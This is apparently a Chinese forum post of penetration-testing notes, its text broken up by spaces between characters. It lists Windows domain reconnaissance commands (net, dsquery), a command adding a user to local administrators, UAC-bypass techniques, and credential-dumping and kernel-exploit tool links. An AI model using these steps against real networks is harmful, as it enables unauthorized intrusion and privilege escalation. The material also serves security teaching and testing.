h t t p s : / / g i t h u b . c o m / A l e s s a n d r o Z / L a Z a g n e m i m i p e n g u i n h t t p s : / / g i t h u b . c o m / h u n t e r g r e g a l / m i m i p e n g u i n n m a p h t t p s : / / n m a p . o r g m a s s c a n h t t p s : / / g i t h u b . c o m / r o b e r t d a v i d g r a h a m / m a s s c a n z m a p h t t p s : / / g i t h u b . c o m / z m a p / z m a p s 扫 描 器 自 写 脚 本 等 N C . . . D M Z 管 理 网 生 产 网 测 试 网 i p c o n f i g   / a l l   - - - - - - >   查 询 本 机   I P   段 ， 所 在 域 等 n e t   u s e r   - - - - - - >   本 机 用 户 列 表 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   - - - - - - >   本 机 管 理 员 [ 通 常 含 有 域 用 户 ] n e t   u s e r   / d o m a i n   - - - - - - >   查 询 域 用 户 n e t   g r o u p   / d o m a i n   - - - - - - >   查 询 域 里 面 的 工 作 组 n e t   g r o u p   " d o m a i n   a d m i n s "   / d o m a i n   - - - - - - >   查 询 域 管 理 员 用 户 组 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   / d o m a i n   - - - - - - >   登 录 本 机 的 域 管 理 员 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   w o r k g r o u p u s e r 0 0 1   / a d d   - - - - - > 域 用 户 添 加 到 本 机   n e t   g r o u p   " D o m a i n   c o n t r o l l e r s "   - - - - - - - >   查 看 域 控 制 器 ( 如 果 有 多 台 ) n e t   v i e w   - - - - - - >   查 询 同 一 域 内 机 器 列 表   n e t   v i e w   / d o m a i n   - - - - - - >   查 询 域 列 表 n e t   v i e w   / d o m a i n : d o m a i n n a m e d s q u e r y   c o m p u t e r   d o m a i n r o o t   - l i m i t   6 5 5 3 5   & &   n e t   g r o u p   " d o m a i n c o m p u t e r s "   / d o m a i n   - - - - - - >   列 出 该 域 内 所 有 机 器 名 d s q u e r y   u s e r   d o m a i n r o o t   - l i m i t   6 5 5 3 5   & &   n e t   u s e r   / d o m a i n - - - - - - > 列 出 该 域 内 所 有 用 户 名
第 三 方 信 息 收 集 0 x 0 4   权 限 提 升 权 限 提 升 1 、 、 W i n d o w s         B y p a s s U A C 常 用 方 法 使 用 I F i l e O p e r a t i o n   C O M 接 口 使 用 W u s a . e x e 的 e x t r a c t 选 项 远 程 注 入 S H E L L C O D E   到 傀 儡 进 程 D L L 劫 持 ， 劫 持 系 统 的 D L L 文 件 e v e n t v w r . e x e   a n d   r e g i s t r y   h i j a c k i n g s d c l t . e x e S i l e n t C l e a n u p w s c r i p t . e x e c m s t p . e x e 修 改 环 境 变 量 ， 劫 持 高 权 限 . N e t 程 序 修 改 注 册 表 H K C U S o f t w a r e C l a s s e s C L S I D ， 劫 持 高 权 限 程 序 直 接 提 权 过 U A C 常 用 工 具 提 权 w i n d o w s 内 核 漏 洞 提 权 服 务 提 权 数 据 库 服 务 ， f t p 服 务 等 W I N D O W S 错 误 系 统 配 置 系 统 服 务 的 错 误 权 限 配 置 漏 洞 不 安 全 的 注 册 表 权 限 配 置 不 安 全 的 文 件 / 文 件 夹 权 限 配 置 计 划 任 务 任 意 用 户 以 N T   A U T H O R I T Y S Y S T E M 权 限 安 装 m s i 提 权 脚 本 d s q u e r y   u s e r   d o m a i n r o o t   - l i m i t   6 5 5 3 5   & &   n e t   u s e r   / d o m a i n - - - - - - > 列 出 该 域 内 所 有 用 户 名 d s q u e r y   s u b n e t   - - - - - - > 列 出 该 域 内 网 段 划 分 d s q u e r y   g r o u p   & &   n e t   g r o u p   / d o m a i n   - - - - - - > 列 出 该 域 内 分 组   d s q u e r y   o u   - - - - - - > 列 出 该 域 内 组 织 单 位   d s q u e r y   s e r v e r   & &   n e t   t i m e   / d o m a i n - - - - - - > 列 出 该 域 内 域 控 制 器 N E T B I O S   信 息 收 集 S M B   信 息 收 集 空 会 话 信 息 收 集 漏 洞 信 息 收 集 等 U A C M E h t t p s : / / g i t h u b . c o m / h f i r e f 0 x / U A C M E B y p a s s - U A C h t t p s : / / g i t h u b . c o m / F u z z y S e c u r i t y / P o w e r S h e l l - S u i t e / t r e e / m a s t e r / B y p a s s - U A C Y a m a b i k o h t t p s : / / g i t h u b . c o m / F u z z y S e c u r i t y / P o w e r S h e l l - S u i t e / t r e e / m a s t e r / B y p a s s - U A C / Y a m a b i k o . . . 检 测 类 : W i n d o w s - E x p l o i t - S u g g e s t e r ： h t t p s : / / g i t h u b . c o m / A o n C y b e r L a b s / W i n d o w s - E x p l o i t - S u g g e s t e r W i n S y s t e m H e l p e r ： h t t p s : / / g i t h u b . c o m / b r i a n w r f / W i n S y s t e m H e l p e r w e s n g ： h t t p s : / / g i t h u b . c o m / b i t s a d m i n / w e s n g 利 用 类 : w i n d o w s - k e r n e l - e x p l o i t s ： h t t p s : / / g i t h u b . c o m / S e c W i k i / w i n d o w s - k e r n e l - e x p l o i t s B e R o o t ： h t t p s : / / g i t h u b . c o m / A l e s s a n d r o Z / B e R o o t P o w e r U P ： h t t p s : / / g i t h u b . c o m / H a r m J 0 y / P o w e r U p / b l o b / m a s t e r / P o w e r U p . p s 1 E l e v a t e K i t : h t t p s : / / g i t h u b . c o m / r s m u d g e / E l e v a t e K i t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理